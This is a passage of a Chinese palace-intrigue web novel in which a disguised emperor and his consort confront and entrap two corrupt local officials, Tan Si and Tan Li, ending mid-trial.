季寰抬眼,深深地看着姜念秋。 谭斯被打懵了。 他这么多年以来,还是第一次被一个小小女子扇巴掌的。 奈何此刻他处于绝对劣势,谭斯再也不敢多说半句,只是一个劲儿地摇着头:“不找了!再也不找了。” 早知道珠玉这个小丫头片子会招惹回来这么大的麻烦,他怎么都不会再去寻她。 就是个错误! 还没等谭斯从刚才的巴掌里面回过神来,又是狠狠的一个巴掌赏在他另一边脸上。 谭斯疼得“诶哟哟”直叫唤。 季寰倒是笑起来,俊朗眉眼里的笑意遮都遮不住。 姜念秋怒火上涌,根本顾不得别的,恶狠狠瞪着谭斯:“还敢侵占民田、夺人家财吗?” 这种不为百姓做事的官员,两巴掌打发他都是便宜他呢! 谭斯愣了下,下意识地反问:“你们怎么知道?” 转念一想,珠玉肯定跟他们说了不少。 这步棋算是彻底走错了。 没问出来一字半句,胸口受到的压迫更加重了。 “让你回话,让你问话了么?” 谭斯直翻白眼,跟喘不过气来似的。 季寰还嫌不够,踹了一脚才松了劲儿,只是把人扣住。 谭斯完全领略到了这二人的狠戾,连忙咳嗽着承诺:“不了,再也不了,我以后做个好官,造福一方百姓!” 姜念秋撇撇嘴。 他的承诺要是能信的话,那猪不知道上树上了多少次了。 当然了,季寰更不相信。 他一脚把人踢远。 稍显肥胖的身子撞在了墙角,苏绣衣裳沾满了灰尘。 贵气不复存在。 季寰拉住姜念秋,在临走时说道:“可惜了,你应该没这个福气再在这儿呆下去了。” 谭斯来不及顾念身上疼痛,怔忪着看向季寰。 他这话……是什么意思! 谭斯撑着地面的手在隐隐发抖。 “走。”季寰搂住姜念秋,从后面迅速溜走。 谭斯也不敢再闹出声响来,足足等了一盏茶的时刻,才唤出人来搀扶自己。 来的人吓坏了,赶紧差人差人喊大夫:“县太爷,您没事儿吧?” 这究竟是怎么回事儿啊? 第129章 逃出 第一百二十九章 逃出 方才县太爷不是还说要处置两个刁民么? 刁民人呢? 谭斯来不及管自己的身子,他还记着那人临走前说过的话。 他说自己头上这顶乌纱帽能不能保住还是两说。 既如此,就得早做打算! 谭斯抓住他手下最为可靠的一个衙役,肿着脸含糊不清地吩咐道:“快,你快去通知知州,就说要出大乱子,让他速速作准备,或是寻靠山,或是遮蔽事情……都要尽早!” 如果真是上头的人来了,他们这些事儿就是悬在脑袋上的一把刀。 砍下来起码能祸及九族! 衙役听谭斯的口气,也知道兹事体大。 他敦促别人照顾县太爷,然后迅速点头,往师爷那头跑去:“您放心,我一定办好这桩事儿!” 离开了衙门的季寰和姜念秋还是跑了一会儿的。 毕竟他们可是孤身,地界可是谭斯的。 他万一派出更多的人手来抓,吃亏的只会是他们两个人。 姜念秋靠在树上喘`息,季寰倒是没有一点儿疲乏的意思。 从袖口中退出一支闪光弹,打向天上。 闪光弹连着响了两声,随后在天空中划过一道较为醒目的烟。 做完这一切后,季寰回到姜念秋身边,替她绾起鬓边因奔跑而掉落下来的碎发。 他说话的口吻极尽温柔,连眼神都是软软的,没有一丝力道:“就在此处等着,史奕会过来接我们。” 不让史奕刚才跟着是怕漏了马脚。 毕竟皇家身份在此时显露出来,于他们来说可是丁点儿好处也没有的。 姜念秋和季寰双双靠在树根下。 在他身边,那颗剧烈跳动的心终于算是平静下来。 复盘了一会儿,姜念秋回头去看季寰:“三爷,咱们接着是不是要去宿州知州那儿去啊?” 严格来说,珠玉说的那些事情并未从源头上解决掉。 他们这次去谭斯处完全是被人牵着鼻子走。 按照季寰的性子来看,他最讨厌的就是受人掣肘。 一定会把这两个人收入自己的网中才会作罢。 季寰“嗯”了一声,解释道:“对,我们亲自去,不然这出好戏怎么能看得清楚?” 得了肯定答复后,姜念秋细细思考一番。 “还是我们两个人?” “是。” 这倒是有些叫姜念秋不太明白。 她转过身子来,一只手搭在了季寰的手臂上,语气之中略微带着些担忧。 她压低声音说道:“可是如果按照珠玉所说,宿州知州和县令沆瀣一气,我们两个人去,岂不是孤立无援了?” 去一个县令处都有那么多的衙役在堵着。 如果是去了知州那儿。 只怕没有这么容易脱身。 她这么一碰,在手腕上的袖箭哗啦啦倒了一地。 季寰不做声地将所有袖箭收回去,不忘挤兑姜念秋一句:“脑子变得聪明了一点儿,但还是很笨。” 她真傻。 他怎会舍得让她以身犯险? 这次也是因为姜念秋非要留下来,他一时间感动才做了错误决定。 怎么可能还让她跟在自己身边没有保护? 被说很笨的姜念没觉得自己哪里笨。 刚才要不是她,那些衙役季寰还得耗费多少功夫呢! 于是,她严辞反驳:“人家不笨,好吗?” 就是一时间转不过来这个弯儿而已嘛! 季寰幽幽地看了姜念秋几眼。 目光看得姜念秋直往后缩身子。 怎么觉着这眼神不太友好呢? 随后,季寰直接丢掉袖箭包,将她手腕处的衣服往上翻起。 不会佩戴袖箭而硌出来的红痕依旧很重。 他眯着眼,咬着牙一字一句问她“不笨你把手勒成这样子?” 看她用袖箭的样子就知道她根本不会使这些。 她并非出自武将世家,袖箭是一定不会用的。 若是脑子灵光一点儿,把袖箭丢给他,没准儿还能比刚才解决得更快一些。 也就不至于把自己的手腕弄成那样子了。 一定是姜念秋脑子坏了些。 不然为什么她明明是被季寰骂了,心里居然是暖暖的? 竟然还从中听到了些关切的意思来。 不能被恋爱脑打败! 姜念秋晃了晃脑袋,瘪着嘴巴说道:“我一个女儿家,哪里用过弓箭嘛!” 这个系统也真是的,给救命的玩意儿也不说给个容易使用的。 哪怕是给把刀,都比给这东西更有用。 刀使用起来多简单,直接冲着坏蛋来回砍,谁敢近身? 季寰见她低着头鼓腮帮子的样子着实可怜又可爱。 就再也生不出气了。 他叹口气,伸出手摁在姜念秋的脑袋上解释:“这不是弓箭,是袖箭,乃是便于携带在身侧的暗器一类。” 姜念秋眨眨眼,看向被扔在地上的包。 这玩意儿是袖箭啊? 怪不得,她就说弓箭怎么会做的这么小。 听着季寰这个话,他应该要比自己更加了解这些东西。 于是,姜念秋又忘记了季寰说她笨的话。 眼睛像是星星一样亮晶晶地看向他:“三爷会使?” 那是自然。 季寰挑眉,捡起袖箭,戴好、装填、朝着不远处的那颗石头瞄准。 刚刚瞄准一秒,袖箭便射了出去。 不偏不倚地打在石头上,弹落在土地上。 整个过程没有丝毫的犹豫。 姜念秋完全看呆了,嘴巴张成“哦”的形状。 “好厉害……” 在后宫之中,她听到最多的都是关于季寰如何如何暴戾,是怎么狠狠整治朝政的。 有关此人真实的一切,她知之甚少。 想着想着,姜念秋不觉看他看呆了。 季寰起身,将那只袖箭放回皮桶之中收好。 回来的时候还不忘夸讲一句姜念秋:“你方才能在慌乱之中射中那个县令,已然是走了大运,该夸。” 换做寻常女子,在碰上那种情况的时候,早就吓得什么都做不了了。 她还能算冷静得打出去一箭。 已是出乎季寰意料。 姜念秋看着季寰手里来回颠倒的皮桶,心里痒痒。 玩儿这个好帅气啊! 她嘿嘿一笑,全然抛却了刚才经历的惊险种种。 人凑到季寰跟前,很是讨好地说:“三爷,您得空了也教教我这个好不好?” “您教了我,我以后也能防身不是?” 季寰淡淡地瞥了姜念秋一眼。 她这可不是想要防身的样子。 更像是要学了到处显摆的前兆。 第130章 知州 第一百三十章 知州 袖箭虽然杀伤力没有弓箭那么大,但也是有些危险,让她学了不是什么好事。 这丫头万一遇着危险后,自以为是地去“保护”自己,最后反而被人伤了。 后果不堪设想。 想到此处,季寰直接没收了袖箭。 “三爷,求求您了!您也看到了我是有天赋的!” 勤加练习的话,姜念秋觉得自己一定能够成功地掌握袖箭技巧的。 任凭姜念秋如何舌灿莲花地劝说,季寰根本不为所动。 史奕等人在不远处等候了一会儿,一直没有打搅。 他趁机拉着姜念秋往那边走,顺势转换话题:“史奕来了,我们该走了。” “三爷,求您了!不学也行,把东西还我。” 那是系统给她的救命稻草,她保留下来应该不算太过分吧? 可惜,季寰压根儿没有这个意思。 再一次踏上去往宿州的路上,姜念秋一直默默地跟季寰置气。 还在路上悄悄问史奕袖箭的练习技巧。 史奕沉吟了一会儿,劝说道:“夫人,袖箭的功夫得从娃娃抓起,您此时学习,不说其中辛苦,准心只怕就会伤着自己。” 他多聪明啊,刚才皇上都拒绝了的事儿,他再拾起来教会宜妃? 可不得被皇上扔去荒郊野岭啊? 说了一大堆的危险,终于成功吓退了姜念秋的想法。 季寰再说起教她使用袖箭的时候,姜念秋连连摆手。 “不用了不用了,我再也不学了!” 她就当一个没用的废物好了。 有着季寰他们为她擎天,她也懒得保护自己。 横竖受累的又不是她。 到了一处小树林休整的时候,季寰吩咐史奕:“叫宿州巡抚来见我,另外抽调三百精兵,随时听候差遣。” 到了这里,该处理的人都得揪出来好好处理一番。 不然不就白跑一趟了? 史奕颔首:“属下明白。” 再次启程后,季寰在马车上亲自布置好了笔墨纸砚。 姜念秋本来还在心里戏说他,什么地方都得练字。 所以当毛笔塞进她手中的时候,姜念秋一脸茫然无措:“干、干嘛?” 一握住毛笔,那些个被季寰惩罚抄写好多字的记忆全都涌上心头。 眼看着毛笔要被甩出去,季寰眼疾手快握住她细软的手。 眼神警告:“我来说,你来写一封诉状,交到知州那儿去。” 姜念秋刚要反驳季寰自己怎么不写。 转而愣住。 哦,他可是皇上,皇上的字体当官儿的估计是有幸能够见过。 万一被发觉,岂不是前功尽弃? 可姜念秋对知州的良心持有很大的怀疑。 “他能看么?” 平日里和谭斯狼狈为奸的人,难不成就能是个好人? 这可能性也实在太渺茫了吧。 季寰从一旁展开一张绢布,上头隐隐显露出手印来:“加上这个,他敢不看?” 姜念秋疑惑地放下笔,展开绢布。 原来是一卷民意书。 上头全是对谭斯的控告人的手印。 也不知道季寰是如何说服他们出来作证的。 只是……姜念秋仍旧忐忑:“可就算是看了,也未必会管吧,珠玉不是说了知州亦是如此吗?” 为了这么一卷绢布,得罪同僚。 恐怕这宿州知州不肯。 季寰嘴角微微上扬,眼神之中带着一抹意味深长。 他重新拿起毛笔递给姜念秋:“你不写,咱们哪儿来的好戏可以看?” 他要的,从来就不是苏州知州能够顺从民意。 姜念秋叹口气,只能硬着头皮帮着写了。 “成了,您看写得意思是否有差?” 状纸递到了季寰面前,他看完一遍后笑道:“意思没差,只是你这手字着实是不好调了。” 怎的有人能把字写得如此没有根骨? 都说字如其人,姜念秋一张姣好面容,字儿如何跟不上呢? 姜念秋也很无奈。 她该怎么解释,她完全是靠着记忆在写这时候的字体,而且依旧无法适应手腕发力而不是手指发力的书写方式。 与此同时,宿州知州这里谭斯快马加鞭叫人送来的信件已然到了。 “知州大人,宿县谭县令来信,说是有要紧事儿,请您务必早些看完。” 宿州知州谭利正在品尝新到的雨前龙井,咂摸了一会儿味道才打开信看。 他微微皱眉:“看来,是有些不自量力的人要来了。” 底下人瞬间明白过来,凑到谭利身边说道:“照知州大人看。咱们可要提前拦截?” 只要把这些人提前拦截,根本就翻不出丁点儿风浪来的。 谭利抬起手来,轻轻摇头,眼神之中带着些不屑的意味。 “不用,还得陪着演一出戏才好呢!” 终于,敢在了第二日一大早,季寰和姜念秋来到了宿州知州的府衙门口。 为了隐藏身份,季寰没让史奕一干人等跟着,依旧只带着姜念秋在身边。 不同的是,史奕等人早已在旁边埋伏好。 一旦任何风吹草动不对劲,他们便会迅疾冲进去解决掉危机。 谭利手下人上前报告:“知州大人,外头有人在鸣鼓,要找您痛陈冤情。” 谭利眼前一亮。 或许是谭斯信中提及的那两个人来了? 到了堂前,果然是一男一女两个人。 “大人,我们途径宿县,得遇刁官,还请大人为小民做主!” 二人虽说是叫谭利为他们做主,可两个人见了知州,没一个肯跪下的。 谭利心中隐隐有些疑惑,于是并未在此计较,而是客客气气地把呈递到跟前的东西收好:“容本官先看完诉状再做打算。” 诉状之上果然写着的都是有关于宿县县令谭斯的事情。 的确是这两个人了。 谭利脸面表情微微变化,甚至亲自下来冲着他们笑道:“二位,诉状我已然看完了,且请两位在城内驿馆住下,待我的人将刁官抓来,再行升堂,如何?” 有些感觉隐隐浮现出来。 季寰颔首:“好,大人深明大义,等您的好消息。” 送走那两个人后,谭利返回房间内写好一封信件交给心腹:“去将这封信速速递到宿县县令处,叫他务必重视!” 躲在暗处的姜念秋看见有人从后门出去了,她附在季寰身后:“三爷,您还真的信他啊?” 第131章 找到当地巡抚 第一百三十一章 找到当地巡抚 叫姜念秋来说,天下的乌鸦一般黑。 别看刚刚知州对他们还挺客气的,但姜念秋相信,在背后知州一定会对此和谭斯通气的。 到时候说的是什么,完全不受他们的控制。 依照身边之人平日里做事的风格,这种没有把握的事情甚少出现。 不出姜念秋所料,季寰听完后摇了摇头:“自然是不信的。” 两个人从此处离开,路上姜念秋死活想不通季寰想要干什么。 待到快要到客栈的时候,她实在没忍住,还是问出了口:“既然三爷不信此人,那您还让他拿着咱们的证据。” 把证据送到了“敌人”手中,那和送命过去有什么两样啊? 闻言,季寰扑哧一声笑了出来。 他的笑声叫姜念秋更摸不着头脑了。 “回去叫御膳房给你多做些鱼,补补脑子。” 姜念秋微微蹙起眉头,心想我这么聪明了,还补脑子? 显然身边的男人不这么想。 他曲起手指,在姜念秋的额头上狠狠地敲了一下,反问道:“我处置几个贪官污吏,还需要拿出证据么?” 哦,她忘记了最重要的一点了。 在她跟前的人,不是普通的告状老百姓。 他是坐在权力最高点的人。 想要收拾谁,不过是一句话的事儿。 刚才只是借用告状试探宿州知州的虚实罢了。 倘若事故有变,那边说明宿州知州一般恶毒;若真的上报好生调查,倒是能放他一马。 之前,史奕已经叫人提前赶来,在宿州最繁华的地方收拾出来一间十分干净的客栈。 此次并未清除客栈中的其他人。 小隐隐于林,大隐隐于市。 在宿县,那儿地方小,住驿站更合适;在宿州,当然是用客栈来隐藏自己的身份更加适宜。 上到二楼拐角处,有人同季寰等人擦肩而过。 过去的时候传递了消息:“三爷,宿州巡抚庆白,已在驿馆内恭候。” 当初听见珠玉被害的时候,季寰早就想找此人喝茶。 只可惜传唤了许久,他家中之人说的都是他们也找不到庆白。 过了几天,才刚刚得到消息。 接下来的事情需要季寰单独同庆白说,姜念秋在场不甚合适。 他轻轻叩了两下姜念秋的腰际:“你先去换身衣裳,想出去叫小翠陪着你去,别走太远。” 姑娘家喜欢热闹是常事,宿州繁华同那日水镇不同。 转转转移一下注意力,也挺好。 姜念秋答应,但回去之后并未真的出去。 一方面是连日赶路,她的体力天天在透支边缘,哪里还能走得动; 另一方面是她其实更想知道接下来季寰会作何打算。 于是,她悄悄地搬了把凳子,坐在了墙根儿。 虽然厢房之间隔音效果还不错,可应该也能偷听到一星半点儿。 厢房门被史奕从里头关上,左右两端全是自己人,绝不会走漏半点风声。 屋内的人一见季寰,立刻跪下叩头:“微臣参见皇上,皇上万岁万岁万万岁!” 连着几日没有听过这个称呼,把微服私访而收敛起来的威势全然唤醒了。 “朕万岁?再让你们管一管此地百姓,估摸着朕要被咒得早早驾崩了。” 季寰一收衣角,独自坐下,但气势依旧高扬。 他睥睨着俯首的巡抚,眼眸之中含着冷漠和气恼。 这话的分量实在过于沉重,庆白根本无法承担。 作为回应,他只能一味地埋首,不敢乱发一言。 喝完一盏提前泡好的茶,茶盏搁在桌子上的时候很是用力。 哪怕是隔着桌布,都能听见“砰”的一声闷响。 紧接着,便是季寰阴冷的嗓音:“庆白,你好大的胆子啊,明明知道这些个人的德行,却藏着掖着不上报?” 巡抚职责所在便是监察各地官员是否有徇私舞弊等行为。 庆白作为宿州巡抚,不光没有及时上报,甚至在他来找的时候,都不见身影。 此等渎职大罪,该当如何惩戒! 要不是史奕请查过庆白家产与背景,加上他曾经也算自己信得过之人,季寰早就将庆白同谭斯一道认知了。 闻言,庆白哀叹一声,连连磕头认错:“是微臣无用,只是微臣着实有苦衷啊!” 庆白当初可是意气风发来到此地,还和他保证会给宿州百姓带来一片祥和安宁。 可当初的信誓旦旦,如今却是一丁点儿都没有了。 这叫季寰微微皱起眉来:“你细细说来。” 庆白低垂着脑袋,缓缓地从怀中掏出了五六本奏折。 每一本外面包裹着的都不是奏折的专属外壳,而是油皮。 或许……庆白是想要隐瞒什么,才这样子装点奏折吗? 史奕接过奏折递交到了季寰手中。 每一本中都写得满满的。 仔细看来,从时间最早的明火执仗地写宿州知州谭利、宿县县令谭斯到最近的一封里全然暗示的写法。 庆白的奏折写得越来越含蓄了。 哪怕是这样,季寰也是一封都没见过。 甚至于给他递交上去的奏折里,和这些奏折的笔迹全然不同。 不用问,这其中定然有鬼。 当季寰合上奏折的那一刻,庆白就知道自己连日来受到的冤屈,终于有了能够宣泄的地方。 一个堂堂七尺的男人,说起此事来居然有些带着哽咽:“皇上明鉴!微臣……微臣到了此地后便发现了谭利谭斯两表兄弟作恶多端,早早写下奏折,可在运送途中处处掣肘,还受到来自兄弟二人的囚禁,险些自身难保……” 随后,庆白将自己这些年的所见所闻尽数说完。 原来,谭利和谭斯先后考中进士,后有借用在朝中势力,根本不按照季寰当初钦点的地点去。 积年累月下来,季寰收到的消息经由朝中人的折腾,早已失真。 他们兄弟二人就如同在宿州做起了土皇帝。 想做什么都能做成,只要把消息封锁起来,便不会有人知晓。 庆白来时,这好兄弟二人起初十分优待,后来发现庆白有意查询事实真相,便经常以各种理由搪塞。 后来,索性装都不装了,遇上不顺心的竟然将官阶比他们大的庆白关押在牢房之中。 什么时候发送走了假的庆白奏折,才会将人放出来。 第132章 计划 第一百三十二章 计划 这也是史奕一开始找不到他的原因。 算算日子,的确是奏折快要到京城,庆白才被史奕联系上。 听完,季寰“啪”的一巴掌扫开桌上的茶盅:“好啊,这谭利谭斯竟然如此大胆。” 再怎么说,庆白都是巡抚。 他们表兄弟二人竟然敢关押巡抚? 这根本就是再一次罪加一等! 躲在另一头的姜念秋能够隐隐约约听见些许关键词,靠着自己的想象亦能连词成句,睹得真实情况如何。 在她脸上,满是震惊。 本来以为谭利谭斯不过是贪官污吏罢了,不曾想还敢对朝廷命官如此。 这下好了,季寰肯定不会轻易放过这两个人了。 那头的庆白没觉得有多委屈,而是腰板直直地,再叩首。 再次抬起头来跟季寰说话的语气中就只有惭愧:“微臣未曾履行巡抚职责,还请皇上降罪!” 他身为巡抚,就是应该做皇帝的眼线。 可惜,他没本事,还给皇帝丢了脸。 庆白以为他渎职之罪并不比谭利和谭斯两人少。 在旁边的姜念秋有些感动。 梁朝之中能有这样的好官,着实是百姓之福。 谭利和谭斯对他这样,真应该下地狱去。 季寰任由庆白跪着。 他微微眯着双眼,眼底有着无人能懂的意味深长。 庆白是做错了事儿,可眼下并不是治他罪的时候。 谭利谭斯两个脏污之人不除掉,整个宿州根本不能太平。 最适合做刀刀,就是庆白了。 他手轻微一抬,叫庆白起身。 庆白就算是站着;也得微微弓腰。 季寰吩咐道:“你的罪,朕容后再治,眼下有更重要的事情要你做。” 他给站在一旁的史奕使了个眼色,史奕从怀中掏了掏,交给了庆白一个小型虎符。 和正式虎符不同,这个下面镌刻着龙纹。 庆白瞬间明白过来,这可是直属于皇上的密卫组织。 东西分量太重,压得庆白再次跪了下去。 “朕要你领着这些人,震住谭利谭斯的势力。” 然后,季寰大概说了谭利可能会做的事儿,庆白顺着分析了谭利势力分布。 计划全然成型。 到最后,庆白已经恢复了当初领旨来到宿州做巡抚时的模样。 他手中紧紧地握着虎符,郑重其事地拜别季寰:“微臣领旨,定当办成此事!” 庆白被史奕的人请出去。 这次有密卫从中保护他,谭利和谭斯的人再也不能加害。 厢房那头隐隐约约听见了挪动椅子的声音。 季寰无奈叹口气。 这丫头,偷听就算了,怎么一点儿技术含量也没有? 不知道不要发出响动来么? 他起身,走去旁边的厢房。 姜念秋听见对面貌似有推门出来的声音,连滚带爬地往床榻上去。 期间还差点儿叫屏风绊住脚,摔个狗吃屎。 当季寰推开门,走进来的时候,姜念秋刚刚好假装闭上眼睛。 就是那还紧张得胡乱转动的眼睛泄露了她压根儿没睡着的秘密。 闹出这么大的动静来,季寰听不见就是聋子。 他直接靠在屏风边儿上,好整以暇地看着躺得歪七扭八的姜念秋。 小翠站在一旁,连大气都不敢出。 季寰也没生气,只是喊她一声:“别装了,起来吧。” 这种时候,越是早早起来越是容易暴露! 既然装了,那就装到底! 姜念秋就是不起来,还装着睡着往里面翻了个身。 幼稚举动把季寰给逼笑了。 他跨步上前,在床边坐下。 一只手伸出去,没顾忌小翠在场,直接贴在了姜念秋的胸口处。 咚咚咚咚。 跳得跟打鼓似的。 季寰低低笑出一声,收回手,看了眼小翠。 小翠立马明白过来,出了厢房。 待到厢房里剩下两个人后,季寰再次伸出手,这次的手没再探在她胸口,而是直接捏住了她鼻子。 一分钟倒还好,到了后来,姜念秋差点儿憋死。 听着她憋得哼哧哼哧的,季寰唇边笑容就没放下来过。 再装下去,恐怕自己得没命。 姜念秋一个翻身坐起来,两只手几乎是瞬间便缠绕在了季寰脖子上。 她嘿嘿笑起来:“臣妾不是有意探听皇上议政的,臣妾基本什么都没有听到,真的!” 说着,她还伸出来三根手指做发誓状。 二人靠得那么近,彼此澄澈的眼睛都能看得清楚。 “是么,你要是听见了,回去抓去替朕打理一个月的御花园。” 看热闹不嫌事儿大。 那御花园真要打扫起来,三天三夜都做不完的活儿。 姜念秋“啊”了一声,赶紧改口了:“臣妾就听见了一点儿关键词,真没全听见。” 见她这样,季寰没忍住,伸出手来掐了掐她脸颊上的软肉。 横竖此事姜念秋被卷在其中,就算是全听了去,也没什么大碍。 他拍了拍姜念秋:“好了,你那称呼改改吧,被发现第一个拿你开刀。” “你若是不困,就换身衣裳起来,带你去逛逛此地,领略下风土人情。” 目的也不在于此,更多的是季寰想看看宿州百姓和宿县百姓相比,日子苦多少,苦在哪里。 姜念秋自然了解季寰心中所想,二话不说跟了出去。 还好,宿州百姓看着要比宿县老百姓富庶一些。 人口多,赋税便不需要拿太多。 姜念秋看着来回奔波叫卖的百姓,心中不免感慨。 如果不是贪官污吏横行霸道,他们的日子应该更加好。 希望季寰这次能够一举歼灭这两个大害虫! 不过,季寰刚才和庆白商议的细节叫她难免担心。 她轻轻地绕上季寰胳膊,小声问:“三爷,您说那知州真的敢做假改为抓我们吗?” 当时,季寰说谭利一定会护着谭斯。 可谭斯已经提前和谭利通过口信,谭利知道他们二人不简单。 所以这个流程是一定会走的。 但季寰猜测,这个流程不是冲着谭斯,而是冲着他们。 姜念秋担心谭利会趁着没人的时候,对季寰和她用私刑。 上次在宿县衙门,那是由于人手不足,再加上谭斯没料到他们难缠才会如此。 这次谭利可是有所准备。 一定会比上次棘手。 季寰眉梢动了动,转眸认真地看着姜念秋,反问她道:“你觉得一个人做惯了贼,他还会走正道吗?” 第133章 对峙 第一百三十三章 对峙 走惯了窗户,就不会想着从正门进家门了。 姜念秋很是笃定地摇了摇头:“不会。” 谭利和谭斯都是走惯了窗户,做惯了贼人的人。 这样子就真的印证了姜念秋的担心。 他们很有可能会再次陷入险境。 她抿唇,略带着担心的情绪在那张脸上展露无遗。 季寰自然能看出来,轻柔地覆盖在她的手臂上。 很是平常的一个举动,却叫她莫名其妙安心下来。 紧接着,季寰牵住她的手,度给她温度:“既然不会,那就不给他继续走路的机会了。” 这一次,他要替宿州和宿县两个地方的老百姓伸张正义。 蛀虫般的官员不要也罢。 姜念秋跟着哼了一声,恨得咬牙切齿:“坏人就该死!” 在外人看来,不过是一句毫无威慑力的威胁。 更像是泄愤。 可季寰却低声答允:“好。” 声音太低,姜念秋没听见。 她突然想起什么,有些激动地说:“三爷是不是让庆白在外看着,以免生变?” 季寰无言看着她,看来真是没撒谎,只是听去了一些关键词。 他捏了捏她柔`软的手:“对,变聪明了。” 一路上都是他看风景更多,一向喜欢逛来逛去的姜念秋反倒没什么动静。 他轻轻叹口气,拉着她靠近自己。 姜念秋迫不得已抬起头来看他,眸底有点儿不知所措的茫然。 季寰很是认真地告诉她:“好了,我陪你出来走走,不是叫你脑子里想这些的。” 如何收拾这个烂摊子是季寰该思考的事儿。 她的任务就是好好陪着他。 仅此而已。 察觉到季寰的贴心,姜念秋微微笑了,回应:“好。” 在宿州呆着的第三日上午时分,史奕打扰了二人用早膳。 他微微俯身过去:“三爷,知州处来人了,在下面求见。” 姜念秋心中叹:哟,来的还真快。 这是有多怕他们两个人威胁到兄弟二人的地位呢? 季寰眉目根本没动一下。 他夹起一块儿绿豆糕放在姜念秋的碟子里,催促她吃饭别分心。 一边淡淡吩咐:“叫他们等着,我们用完餐再进来。” “是。” 史奕原封不动地告诉了来的衙役。 那衙役即使是心里对此人的傲慢无礼感到愤怒,也不敢多说半句。 毕竟知州大人可是说了要好好对待他们。 既如此,就不能催促。 过了半个时辰,衙役才被带着上了楼。 见到知州口中的人,衙役身子一颤。 他还是有一次见着身形如此矜贵的人。 衙役不自觉地低下头来:“这位爷,知州大人邀您和夫人一同上堂作证,宿县县令一案要开始审理了。” 季寰没动,还在喝茶。 倒是姜念秋觉得衙役态度不错,没必要这么一个手下人。 她轻轻咳嗽一声,算是提醒季寰。 季寰也是够给姜念秋面子的,当真起身了:“走吧。” 到了衙门内,发现人们已经在候着他们两个人了。 姜念秋下意识地牵紧了季寰的手。 季寰更是将她护在身侧,不让任何人危害到她。 见谭斯没跪,季寰跟姜念秋就更不可能跪下了。 谭斯上次被季寰揍怕了,这回连正眼都不敢看他。 谭利眯起眼,算是给自己找台阶下:“二位不必跪着了,请站着听就好。” 响木“啪”得拍在桌子上,发出巨大的一道声音。 随即,谭利大喊:“升堂!” 衙役们咚咚咚地敲着板子造势。 那些在电视剧里的场景搁在姜念秋眼前,还着实有些吓人。 还好有季寰不住地抚摸她的手,给予力量叫她冷静。 谭利默默地看向谭斯。 谭斯微不可见地点了一下头。 谭利这才再次拍了一下响木,冲着谭斯开始斥骂:“谭斯,现有齐宣及其夫人和百民作证,你可认罪?” 诉状上头当然不能写真实名字。 他们便假借齐宣之名来状告谭斯。 谭斯扑通一下子跪下去,那叫一个声泪俱下:“知州大人,微臣冤枉啊!” 姜念秋冷哧一声。 你冤枉……你冤枉的话那天底下就没有冤假错案了。 季寰没说一句话,他知道,唱戏的角儿正在敲锣打鼓地热列表演呢。 他这个时候打搅了人家,可是扫兴。 横竖结局早就写好了,干嘛不让过程丰富些? 还能让他们找找乐子。 果然,谭利装作一副义正严辞的样子,怒目而视:“证据确凿,你还说冤枉?且说说,是哪里冤枉?” 昨晚谭斯便已经得了信儿到达宿州。 他们一夜之内将所有细节全部对了一遍,。 此刻就是把串供的话说出来,当然看不出任何假象。 谭斯假模假样地拱手:“大人容禀,微臣做官十几年,勤勤恳恳造福一方百姓,那日这夫妻二人来我境内,拐走一妙龄少女,我甚至连家丁都派出去寻找了,还是没寻找到踪影……” 听着,姜念秋真想再转过去抽谭斯好几`巴掌。 最好把他的脸彻底抽肿了才算是大快人心。 明明是他逼迫珠玉离家出走,现在红口白牙说是他们拐走的。 还真的是黑的变成白的,圆的变成扁的了。 谭利看向季寰,被季寰阴冷目光激得连忙挪开视线。 “不光如此,他们还恶人先告状,到我家把我一顿好打!”谭斯撸起胳膊,将被季寰和姜念秋打的地方系数展示。 姜念秋还探头看了看。 谭斯是真够下血本的。 就以她手上的力气,扇了几`巴掌早就应该消肿了。 可偏偏谭斯此刻的脸颊还是偏高的。 根本就是他为了陷害,自己又找人抽了他好几`巴掌。 只有胸口上和身上被季寰踹的伤痕才是真的。 谭利沉默片刻,将桌子上的请愿书展开来:“那齐宣和其夫人可是拿了百姓请愿书来的,你作何解释?” 这倒是的确出乎谭斯意料。 他本以为宿县百姓没人敢说他的不是。 当谭利昨晚把请愿书给他看的时候,谭斯恨不得立马撕了回去整顿那些“刁民”。 还是表哥告诉谭斯不能蛮干。 于是,谭斯再次翻供,指着那张请愿书道:“那份百姓作证分明是造假!他们夫妻二人是来诬告的!” 第134章 诬告不成 第一百三十四章 诬告不成 谭利视线在在场人之中来回穿梭,更多地是向姜念秋施压,在季寰那儿停留的时间连片刻都没有。 姜念秋也是铁板一块儿,他看过来,她跟着也看过去,气势丝毫不输。 谭利吃了瘪,只好假装低着头看诉状。 然后又装作自然地问谭斯:“你说是诬告,那人证物证何在?” 姜念秋跟着挑眉。 哦,怪不得刚才在后面瞧见了几个生面孔。 原来是摆了一盘棋。 那些人自然是棋子了。 像是印证姜念秋心中所想,谭斯恭敬说道:“微臣身上伤痕和家丁百姓皆是见证!” 他还有脸说自己身上的伤痕? 姜念秋从鼻子里哼出一声来:“如此黑白颠倒,还有没有王法了?” 声音很小,就只有季寰能听见。 王法是什么? 王法不是一成不变的规矩。 王法是看他季寰怎么定。 他说往东,别人往西那就是犯了王法。 当然了,谭斯和谭利显然是不懂其中关窍。 谭利挥手,叫了两个衙役把堂后的人拉了上来。 一个在京郊见过的装束男子跪下,直直地指着季寰和姜念秋:“大人,就是他们,拦住了我们兄弟几个寻找失踪女子,还冲进县衙殴打了县太爷!草民所说句句属实!” 尽捡着对谭斯有利的说了。 的确他们是拦住了家丁寻找珠玉,可那是要营救。 也确实殴打了谭斯。 那是他该打。 说一半藏一半,敢情谭斯和谭利就是这般利用言语,从而换取脱身的? 谭利根本没给季寰和姜念秋说话的机会,转而去问一旁的大娘:“大娘,你可是宿县百姓?” 身穿粗布短衣的大娘怯生生地不敢转头,只低着头回话:“是,老妇人是宿县土生土长的人了。” “那好,你告诉我,你那日在京郊看见了什么?” 大娘沉吟片刻,许是收到了身旁人的压力,她将头伏得更低:“那天,我亲眼看见他们运走一年轻女子出城……那姑娘还很是不愿意……” 这不是纯粹胡扯么! 送走珠玉的根本不是他们俩,而是史奕手下之人。 姜念秋实在是看不下去了,跺脚气急了:“胡说八道!都是胡说八道!” “我们被请到衙门里,全是你们的人,我们如何反客为主压制你们?” 说完家丁后,姜念秋还不泄气,又瞪着老妇人骂:“你一个老妇人腿脚都不利索,还能走出京郊去?” 刚才上前的时候就注意到,那大娘腿脚慢的不是一星半点儿。 她那个脚程,除非是半夜是起身去京郊,否则怎么能赶得上那个时间点? 谭斯和谭利迅速交换眼神。 谭利桌上的响木“砰”得拍响了。 